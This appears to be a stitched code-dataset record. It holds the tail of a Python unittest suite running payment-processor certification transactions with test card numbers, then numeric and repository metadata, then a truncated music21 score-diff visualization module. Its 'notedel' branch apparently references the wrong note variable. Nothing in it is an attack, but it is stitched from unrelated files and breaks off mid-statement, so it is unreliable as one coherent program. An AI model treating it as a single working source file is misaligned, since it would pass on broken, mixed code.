'0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('44444', response['authorizationResponse']['authCode']) self.assertEquals('13', response['authorizationResponse']['fraudResult']['avsResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['authorizationResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_4_avs(self): # orderId * txn_dict = { 'authorization': { 'orderId': '4', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Bob Black', 'addressLine1': '4 Main St.', 'city': 'Laurel', 'state': 'MD', 'zip': '20708', 'country': 'USA', }, 'card': { 'number': '375001000000005', 'expDate': '0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('44444', response['authorizationResponse']['authCode']) self.assertEquals('13', response['authorizationResponse']['fraudResult']['avsResult']) def test_table_2_1_4_sale(self): # orderId * txn_dict = { 'sale': { 'orderId': '4', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Bob Black', 'addressLine1': '4 Main St.', 'city': 'Laurel', 'state': 'MD', 'zip': '20708', 'country': 'USA', }, 'card': { 'number': '375001000000005', 'expDate': '0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('000', response['saleResponse']['response']) self.assertEquals('Approved', response['saleResponse']['message']) self.assertEquals('44444', response['saleResponse']['authCode']) self.assertEquals('13', response['saleResponse']['fraudResult']['avsResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) def test_table_2_1_5_auth(self): txn_dict = { 'authorization': { 'orderId': '5', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'cardholderAuthentication': { 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', }, 'card': { 'number': '4100200300011001', 'expDate': '0521', 'cardValidationNum': '463', 'type': 'VI', }, } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('55555', response['authorizationResponse']['authCode']) self.assertEquals('32', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) # orderId *A txn_dict = { 'capture': { 'cnpTxnId': response['authorizationResponse']['cnpTxnId'], 'id': 'ThisIsID' } } captureresponse = online.request(txn_dict, conf) self.assertEquals('000', captureresponse['captureResponse']['response']) self.assertEquals('Approved', captureresponse['captureResponse']['message']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': captureresponse['captureResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_5_avs(self): txn_dict = { 'authorization': { 'orderId': '5', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'cardholderAuthentication': { 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', }, 'card': { 'number': '4100200300011001', 'expDate': '0521', 'cardValidationNum': '463', 'type': 'VI', }, } } response = online.request(txn_dict, conf) self.assertEquals('000', response['authorizationResponse']['response']) self.assertEquals('Approved', response['authorizationResponse']['message']) self.assertEquals('55555', response['authorizationResponse']['authCode']) self.assertEquals('32', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_5_sale(self): txn_dict = { 'sale': { 'orderId': '5', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'cardholderAuthentication': { 'authenticationValue': 'BwABBJQ1AgAAAAAgJDUCAAAAAAA=', }, 'card': { 'number': '4100200300011001', 'expDate': '0521', 'cardValidationNum': '463', 'type': 'VI', }, } } response = online.request(txn_dict, conf) self.assertEquals('000', response['saleResponse']['response']) self.assertEquals('Approved', response['saleResponse']['message']) self.assertEquals('55555', response['saleResponse']['authCode']) self.assertEquals('32', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('M', response['saleResponse']['fraudResult']['cardValidationResult']) # orderId *B txn_dict = { 'credit': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } creditresponse = online.request(txn_dict, conf) self.assertEquals('000', creditresponse['creditResponse']['response']) self.assertEquals('Approved', creditresponse['creditResponse']['message']) # orderId *C txn_dict = { 'void': { 'cnpTxnId': creditresponse['creditResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_6_auth(self): txn_dict = { 'authorization': { 'orderId': '6', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Joe Green', 'addressLine1': '6 Main St.', 'city': 'Derry', 'state': 'NH', 'zip': '03038', 'country': 'USA', }, 'card': { 'number': '4457010100000008', 'expDate': '0621', 'cardValidationNum': '992', 'type': 'VI', } } } response = online.request(txn_dict, conf) self.assertEquals('110', response['authorizationResponse']['response']) self.assertEquals('Insufficient Funds', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_6_sale(self): txn_dict = { 'sale': { 'orderId': '6', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Joe Green', 'addressLine1': '6 Main St.', 'city': 'Derry', 'state': 'NH', 'zip': '03038', 'country': 'USA', }, 'card': { 'number': '4457010100000008', 'expDate': '0621', 'cardValidationNum': '992', 'type': 'VI', } } } response = online.request(txn_dict, conf) self.assertEquals('110', response['saleResponse']['response']) self.assertEquals('Insufficient Funds', response['saleResponse']['message']) self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult']) # orderId *A txn_dict = { 'void': { 'cnpTxnId': response['saleResponse']['cnpTxnId'], 'id': 'ThisIsID' } } voidresponse = online.request(txn_dict, conf) self.assertEquals('000', voidresponse['voidResponse']['response']) self.assertEquals('Approved', voidresponse['voidResponse']['message']) def test_table_2_1_7_auth(self): txn_dict = { 'authorization': { 'orderId': '7', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Jane Murray', 'addressLine1': '7 Main St.', 'city': 'Amesbury', 'state': 'MA', 'zip': '01913', 'country': 'USA', }, 'card': { 'number': '5112010100000002', 'expDate': '0721', 'cardValidationNum': '251', 'type': 'MC', } } } response = online.request(txn_dict, conf) self.assertEquals('301', response['authorizationResponse']['response']) self.assertEquals('Invalid Account Number', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('N', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_7_avs(self): txn_dict = { 'authorization': { 'orderId': '7', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Jane Murray', 'addressLine1': '7 Main St.', 'city': 'Amesbury', 'state': 'MA', 'zip': '01913', 'country': 'USA', }, 'card': { 'number': '5112010100000002', 'expDate': '0721', 'cardValidationNum': '251', 'type': 'MC', } } } response = online.request(txn_dict, conf) self.assertEquals('301', response['authorizationResponse']['response']) self.assertEquals('Invalid Account Number', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('N', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_7_sale(self): txn_dict = { 'sale': { 'orderId': '7', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Jane Murray', 'addressLine1': '7 Main St.', 'city': 'Amesbury', 'state': 'MA', 'zip': '01913', 'country': 'USA', }, 'card': { 'number': '5112010100000002', 'expDate': '0721', 'cardValidationNum': '251', 'type': 'MC', } } } response = online.request(txn_dict, conf) self.assertEquals('301', response['saleResponse']['response']) self.assertEquals('Invalid Account Number', response['saleResponse']['message']) self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('N', response['saleResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_8_auth(self): txn_dict = { 'authorization': { 'orderId': '8', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mark Johnson', 'addressLine1': '8 Main St.', 'city': 'Manchester', 'state': 'NH', 'zip': '03101', 'country': 'USA', }, 'card': { 'number': '6011010100000002', 'expDate': '0821', 'cardValidationNum': '184', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('123', response['authorizationResponse']['response']) self.assertEquals('Call Discover', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_8_avs(self): txn_dict = { 'authorization': { 'orderId': '8', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mark Johnson', 'addressLine1': '8 Main St.', 'city': 'Manchester', 'state': 'NH', 'zip': '03101', 'country': 'USA', }, 'card': { 'number': '6011010100000002', 'expDate': '0821', 'cardValidationNum': '184', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('123', response['authorizationResponse']['response']) self.assertEquals('Call Discover', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_8_sale(self): txn_dict = { 'sale': { 'orderId': '8', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'Mark Johnson', 'addressLine1': '8 Main St.', 'city': 'Manchester', 'state': 'NH', 'zip': '03101', 'country': 'USA', }, 'card': { 'number': '6011010100000002', 'expDate': '0821', 'cardValidationNum': '184', 'type': 'DI', } } } response = online.request(txn_dict, conf) self.assertEquals('123', response['saleResponse']['response']) self.assertEquals('Call Discover', response['saleResponse']['message']) self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_9_auth(self): txn_dict = { 'authorization': { 'orderId': '9', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'James Miller', 'addressLine1': '9 Main St.', 'city': 'Boston', 'state': 'MA', 'zip': '02134', 'country': 'USA', }, 'card': { 'number': '375001010000003', 'expDate': '0921', 'cardValidationNum': '0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('303', response['authorizationResponse']['response']) self.assertEquals('Pick Up Card', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_9_avs(self): txn_dict = { 'authorization': { 'orderId': '9', 'amount': '000', 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'James Miller', 'addressLine1': '9 Main St.', 'city': 'Boston', 'state': 'MA', 'zip': '02134', 'country': 'USA', }, 'card': { 'number': '375001010000003', 'expDate': '0921', 'cardValidationNum': '0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('303', response['authorizationResponse']['response']) self.assertEquals('Pick Up Card', response['authorizationResponse']['message']) self.assertEquals('34', response['authorizationResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['authorizationResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_9_sale(self): txn_dict = { 'sale': { 'orderId': '9', 'amount': 10010, 'orderSource': 'ecommerce', 'id': 'thisisid', 'billToAddress': { 'name': 'James Miller', 'addressLine1': '9 Main St.', 'city': 'Boston', 'state': 'MA', 'zip': '02134', 'country': 'USA', }, 'card': { 'number': '375001010000003', 'expDate': '0921', 'cardValidationNum': '0421', 'type': 'AX', } } } response = online.request(txn_dict, conf) self.assertEquals('303', response['saleResponse']['response']) self.assertEquals('Pick Up Card', response['saleResponse']['message']) self.assertEquals('34', response['saleResponse']['fraudResult']['avsResult']) self.assertEquals('P', response['saleResponse']['fraudResult']['cardValidationResult']) def test_table_2_1_10_auth(self): txn_dict = { 'authorization': { 'orderId': '10', 'amount': 40000, 'orderSource': 'ecommerce', 'id': 'thisisid', 'card': { 'number': '4457010140000141', 'expDate': '0921', 'type': 'VI', }, 'allowPartialAuth': True, } } response = online.request(txn_dict, conf) self.assertEquals('010', response['authorizationResponse']['response']) self.assertEquals('Partially Approved', response['authorizationResponse']['message']) self.assertEquals('32000', response['authorizationResponse']['approvedAmount']) def test_table_2_1_11_auth(self): txn_dict = { 'authorization': { 'orderId': '11', 'amount': 60000, 'orderSource': 'ecommerce', 'id': 'thisisid', 'card': { 'number': '5112010140000004', 'expDate': '1121', 'type': 'MC', }, 'allowPartialAuth': True, } } response = online.request(txn_dict, conf) self.assertEquals('010', response['authorizationResponse']['response']) self.assertEquals('Partially Approved', response['authorizationResponse']['message']) self.assertEquals('48000', response['authorizationResponse']['approvedAmount']) def test_table_2_1_12_auth(self): txn_dict = { 'authorization': { 'orderId': '12', 'amount': 50000, 'orderSource': 'ecommerce', 'id': 'thisisid', 'card': { 'number': '375001014000009', 'expDate': '0421', 'type': 'AX', }, 'allowPartialAuth': True, } } response = online.request(txn_dict, conf) self.assertEquals('010', response['authorizationResponse']['response']) self.assertEquals('Partially Approved', response['authorizationResponse']['message']) self.assertEquals('40000', response['authorizationResponse']['approvedAmount']) def test_table_2_1_13_auth(self): txn_dict = { 'authorization': { 'orderId': '13', 'amount': 15000, 'orderSource': 'ecommerce', 'id': 'thisisid', 'card': { 'number': '6011010140000004', 'expDate': '0821', 'type': 'DI', }, 'allowPartialAuth': True, } } response = online.request(txn_dict, conf) self.assertEquals('010', response['authorizationResponse']['response']) self.assertEquals('Partially Approved', response['authorizationResponse']['message']) self.assertEquals('12000', response['authorizationResponse']['approvedAmount']) if __name__ == '__main__': unittest.main()

39.132953

108

0.496238

3,339

47,977

7.042228

0.091345

0.125202

0.049332

0.048482

0.935698

0.918772

0.883176

0.865442

0.852684

0.845156

0

0.047161

0.359151

47,977

1,225

109

39.164898

0.717622

0.036017

0

0.763772

0

0.295683

0.049948

0

0.172736

1

0.028011

false

0

0.006536

0

0.035481

0.001867

0

null

0

1

0

1

0

null

0

7

0ed88bb76c36f4039bce0f6206267809ecf5bbb5

53,738

py

Python

musicdiff/visualization.py

gregchapman-dev/musicdiff

077ea707d1efb1b378120e1411dd9299d7688933

[ "MIT" ]

7

2022-02-11T09:54:48.000Z

2022-03-12T03:40:07.000Z

musicdiff/visualization.py

gregchapman-dev/musicdiff

077ea707d1efb1b378120e1411dd9299d7688933

[ "MIT" ]

4

2022-01-26T11:10:19.000Z

2022-03-29T22:27:34.000Z

musicdiff/visualization.py

gregchapman-dev/musicdiff

077ea707d1efb1b378120e1411dd9299d7688933

[ "MIT" ]

null

# ------------------------------------------------------------------------------ # Purpose: visualization is a diff visualization package for use by musicdiff. # musicdiff is a package for comparing music scores using music21. # # Authors: Greg Chapman <gregc@mac.com> # musicdiff is derived from: # https://github.com/fosfrancesco/music-score-diff.git # by Francesco Foscarin <foscarin.francesco@gmail.com> # # Copyright: (c) 2022 Francesco Foscarin, Greg Chapman # License: MIT, see LICENSE # ------------------------------------------------------------------------------ __docformat__ = "google" from typing import List, Tuple, Union from pathlib import Path import sys import music21 as m21 from musicdiff.annotation import AnnMeasure, AnnVoice, AnnNote, AnnExtra class Visualization: # These can be set by the client to different colors INSERTED_COLOR = "red" """ `INSERTED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does. """ DELETED_COLOR = "red" """ `DELETED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does. """ CHANGED_COLOR = "red" """ `CHANGED_COLOR` can be set to customize the rendered score markup that `mark_diffs` does. """ @staticmethod def mark_diffs( score1: m21.stream.Score, score2: m21.stream.Score, operations: List[Tuple] ): """ Mark up two music21 scores with the differences described by an operations list (e.g. a list returned from `musicdiff.Comparison.annotated_scores_diff`). Args: score1 (music21.stream.Score): The first score to mark up score2 (music21.stream.Score): The second score to mark up operations (List[Tuple]): The operations list that describes the difference between the two scores """ for op in operations: # bar if op[0] == "insbar": assert isinstance(op[2], AnnMeasure) # color all the notes in the inserted score2 measure using Visualization.INSERTED_COLOR measure2 = score2.recurse().getElementById(op[2].measure) textExp = m21.expressions.TextExpression("inserted measure") textExp.style.color = Visualization.INSERTED_COLOR measure2.insert(0, textExp) measure2.style.color = ( Visualization.INSERTED_COLOR ) # this apparently does nothing for el in measure2.recurse().notesAndRests: el.style.color = Visualization.INSERTED_COLOR elif op[0] == "delbar": assert isinstance(op[1], AnnMeasure) # color all the notes in the deleted score1 measure using Visualization.DELETED_COLOR measure1 = score1.recurse().getElementById(op[1].measure) textExp = m21.expressions.TextExpression("deleted measure") textExp.style.color = Visualization.DELETED_COLOR measure1.insert(0, textExp) measure1.style.color = ( Visualization.DELETED_COLOR ) # this apparently does nothing for el in measure1.recurse().notesAndRests: el.style.color = Visualization.DELETED_COLOR # voices elif op[0] == "voiceins": assert isinstance(op[2], AnnVoice) # color all the notes in the inserted score2 voice using Visualization.INSERTED_COLOR voice2 = score2.recurse().getElementById(op[2].voice) textExp = m21.expressions.TextExpression("inserted voice") textExp.style.color = Visualization.INSERTED_COLOR voice2.insert(0, textExp) voice2.style.color = ( Visualization.INSERTED_COLOR ) # this apparently does nothing for el in voice2.recurse().notesAndRests: el.style.color = Visualization.INSERTED_COLOR elif op[0] == "voicedel": assert isinstance(op[1], AnnVoice) # color all the notes in the deleted score1 voice using Visualization.DELETED_COLOR voice1 = score1.recurse().getElementById(op[1].voice) textExp = m21.expressions.TextExpression("deleted voice") textExp.style.color = Visualization.DELETED_COLOR voice1.insert(0, textExp) voice1.style.color = ( Visualization.DELETED_COLOR ) # this apparently does nothing for el in voice1.recurse().notesAndRests: el.style.color = Visualization.DELETED_COLOR # extra elif op[0] == "extrains": assert isinstance(op[2], AnnExtra) # color the extra using Visualization.INSERTED_COLOR, and add a textExpression # describing the insertion. extra2 = score2.recurse().getElementById(op[2].extra) textExp = m21.expressions.TextExpression(f"inserted {extra2.classes[0]}") textExp.style.color = Visualization.INSERTED_COLOR if isinstance(extra2, m21.spanner.Spanner): insertionPoint = extra2.getFirst() insertionPoint.activeSite.insert(insertionPoint.offset, textExp) else: extra2.activeSite.insert(extra2.offset, textExp) elif op[0] == "extradel": assert isinstance(op[1], AnnExtra) # color the extra using Visualization.DELETED_COLOR, and add a textExpression # describing the deletion. extra1 = score1.recurse().getElementById(op[1].extra) textExp = m21.expressions.TextExpression(f"deleted {extra1.classes[0]}") textExp.style.color = Visualization.DELETED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint = extra1.getFirst() insertionPoint.activeSite.insert(insertionPoint.offset, textExp) else: extra1.activeSite.insert(extra1.offset, textExp) elif op[0] == "extrasub": assert isinstance(op[1], AnnExtra) assert isinstance(op[2], AnnExtra) # color the extra using Visualization.CHANGED_COLOR, and add a textExpression # describing the change. extra1 = score1.recurse().getElementById(op[1].extra) extra2 = score2.recurse().getElementById(op[2].extra) if extra1.classes[0] != extra2.classes[0]: textExp1 = m21.expressions.TextExpression( f"changed to {extra2.classes[0]}") textExp2 = m21.expressions.TextExpression( f"changed from {extra1.classes[0]}") else: textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]}") textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]}") textExp1.style.color = Visualization.CHANGED_COLOR textExp2.style.color = Visualization.CHANGED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint1 = extra1.getFirst() insertionPoint2 = extra2.getFirst() insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1) insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2) else: extra1.activeSite.insert(extra1.offset, textExp1) extra2.activeSite.insert(extra2.offset, textExp2) elif op[0] == "extracontentedit": assert isinstance(op[1], AnnExtra) assert isinstance(op[2], AnnExtra) # color the extra using Visualization.CHANGED_COLOR, and add a textExpression # describing the change. extra1 = score1.recurse().getElementById(op[1].extra) extra2 = score2.recurse().getElementById(op[2].extra) textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} text") textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} text") textExp1.style.color = Visualization.CHANGED_COLOR textExp2.style.color = Visualization.CHANGED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint1 = extra1.getFirst() insertionPoint2 = extra2.getFirst() insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1) insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2) else: extra1.activeSite.insert(extra1.offset, textExp1) extra2.activeSite.insert(extra2.offset, textExp2) elif op[0] == "extraoffsetedit": assert isinstance(op[1], AnnExtra) assert isinstance(op[2], AnnExtra) # color the extra using Visualization.CHANGED_COLOR, and add a textExpression # describing the change. extra1 = score1.recurse().getElementById(op[1].extra) extra2 = score2.recurse().getElementById(op[2].extra) textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} offset") textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} offset") textExp1.style.color = Visualization.CHANGED_COLOR textExp2.style.color = Visualization.CHANGED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint1 = extra1.getFirst() insertionPoint2 = extra2.getFirst() insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1) insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2) else: extra1.activeSite.insert(extra1.offset, textExp1) extra2.activeSite.insert(extra2.offset, textExp2) elif op[0] == "extradurationedit": assert isinstance(op[1], AnnExtra) assert isinstance(op[2], AnnExtra) # color the extra using Visualization.CHANGED_COLOR, and add a textExpression # describing the change. extra1 = score1.recurse().getElementById(op[1].extra) extra2 = score2.recurse().getElementById(op[2].extra) textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} duration") textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} duration") textExp1.style.color = Visualization.CHANGED_COLOR textExp2.style.color = Visualization.CHANGED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint1 = extra1.getFirst() insertionPoint2 = extra2.getFirst() insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1) insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2) else: extra1.activeSite.insert(extra1.offset, textExp1) extra2.activeSite.insert(extra2.offset, textExp2) elif op[0] == "extrastyleedit": assert isinstance(op[1], AnnExtra) assert isinstance(op[2], AnnExtra) sd1 = op[1].styledict sd2 = op[2].styledict changedStr: str = "" for k1, v1 in sd1.items(): if k1 not in sd2 or sd2[k1] != v1: if changedStr: changedStr += "," changedStr += k1 # one last thing: check for keys in sd2 that aren't in sd1 for k2 in sd2: if k2 not in sd1: if changedStr: changedStr += "," changedStr += k2 # color the extra using Visualization.CHANGED_COLOR, and add a textExpression # describing the change. extra1 = score1.recurse().getElementById(op[1].extra) extra2 = score2.recurse().getElementById(op[2].extra) textExp1 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} {changedStr}") textExp2 = m21.expressions.TextExpression(f"changed {extra1.classes[0]} {changedStr}") textExp1.style.color = Visualization.CHANGED_COLOR textExp2.style.color = Visualization.CHANGED_COLOR if isinstance(extra1, m21.spanner.Spanner): insertionPoint1 = extra1.getFirst() insertionPoint2 = extra2.getFirst() insertionPoint1.activeSite.insert(insertionPoint1.offset, textExp1) insertionPoint2.activeSite.insert(insertionPoint2.offset, textExp2) else: extra1.activeSite.insert(extra1.offset, textExp1) extra2.activeSite.insert(extra2.offset, textExp2) # note elif op[0] == "noteins": assert isinstance(op[2], AnnNote) # color the inserted score2 general note (note, chord, or rest) using Visualization.INSERTED_COLOR note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.INSERTED_COLOR textExp = m21.expressions.TextExpression(f"inserted {note2.classes[0]}") textExp.style.color = Visualization.INSERTED_COLOR note2.activeSite.insert(note2.offset, textExp) elif op[0] == "notedel": assert isinstance(op[1], AnnNote) # color the deleted score1 general note (note, chord, or rest) using Visualization.DELETED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.DELETED_COLOR textExp = m21.expressions.TextExpression(f"deleted {note2.classes[0]}") textExp.style.color = Visualization.DELETED_COLOR note1.activeSite.insert(note1.offset, textExp) # pitch elif op[0] == "pitchnameedit": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # color the changed note (in both scores) using Visualization.CHANGED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color just the indexed note in the chord idx = op[4][0] note1 = note1.notes[idx] note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed pitch") textExp.style.color = Visualization.CHANGED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color just the indexed note in the chord idx = op[4][1] note2 = note2.notes[idx] note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed pitch") textExp.style.color = Visualization.CHANGED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "inspitch": assert isinstance(op[2], AnnNote) assert len(op) == 5 # the indices must be there # color the inserted note in score2 using Visualization.INSERTED_COLOR chord2 = score2.recurse().getElementById(op[2].general_note) note2 = chord2 if "Chord" in note2.classes: # color just the indexed note in the chord idx = op[4][1] note2 = note2.notes[idx] note2.style.color = Visualization.INSERTED_COLOR if "Rest" in note2.classes: textExp = m21.expressions.TextExpression("inserted rest") else: textExp = m21.expressions.TextExpression("inserted note") textExp.style.color = Visualization.INSERTED_COLOR if note2.activeSite is not None: note2.activeSite.insert(note2.offset, textExp) else: chord2.activeSite.insert(chord2.offset, textExp) elif op[0] == "delpitch": assert isinstance(op[1], AnnNote) assert len(op) == 5 # the indices must be there # color the deleted note in score1 using Visualization.DELETED_COLOR chord1 = score1.recurse().getElementById(op[1].general_note) note1 = chord1 if "Chord" in note1.classes: # color just the indexed note in the chord idx = op[4][0] note1 = note1.notes[idx] note1.style.color = Visualization.DELETED_COLOR if "Rest" in note1.classes: textExp = m21.expressions.TextExpression("deleted rest") else: textExp = m21.expressions.TextExpression("deleted note") textExp.style.color = Visualization.DELETED_COLOR if note1.activeSite is not None: note1.activeSite.insert(note1.offset, textExp) else: chord1.activeSite.insert(chord1.offset, textExp) elif op[0] == "headedit": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the changed note/rest/chord (in both scores) using Visualization.CHANGED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head") textExp.style.color = Visualization.CHANGED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.CHANGED_COLOR textExp = m21.expressions.TextExpression("changed note head") textExp.style.color = Visualization.CHANGED_COLOR note2.activeSite.insert(note2.offset, textExp) # beam elif op[0] == "insbeam": assert isinstance(op[1], AnnNote) assert isinstance(op[2], AnnNote) # color the modified note in both scores using Visualization.INSERTED_COLOR note1 = score1.recurse().getElementById(op[1].general_note) note1.style.color = Visualization.INSERTED_COLOR if hasattr(note1, "beams"): for beam in note1.beams: beam.style.color = ( Visualization.INSERTED_COLOR ) # this apparently does nothing textExp = m21.expressions.TextExpression("increased flags") textExp.style.color = Visualization.INSERTED_COLOR note1.activeSite.insert(note1.offset, textExp) note2 = score2.recurse().getElementById(op[2].general_note) note2.style.color = Visualization.INSERTED_COLOR if hasattr(note2, "beams"): for beam in note2.beams: beam.style.color = ( 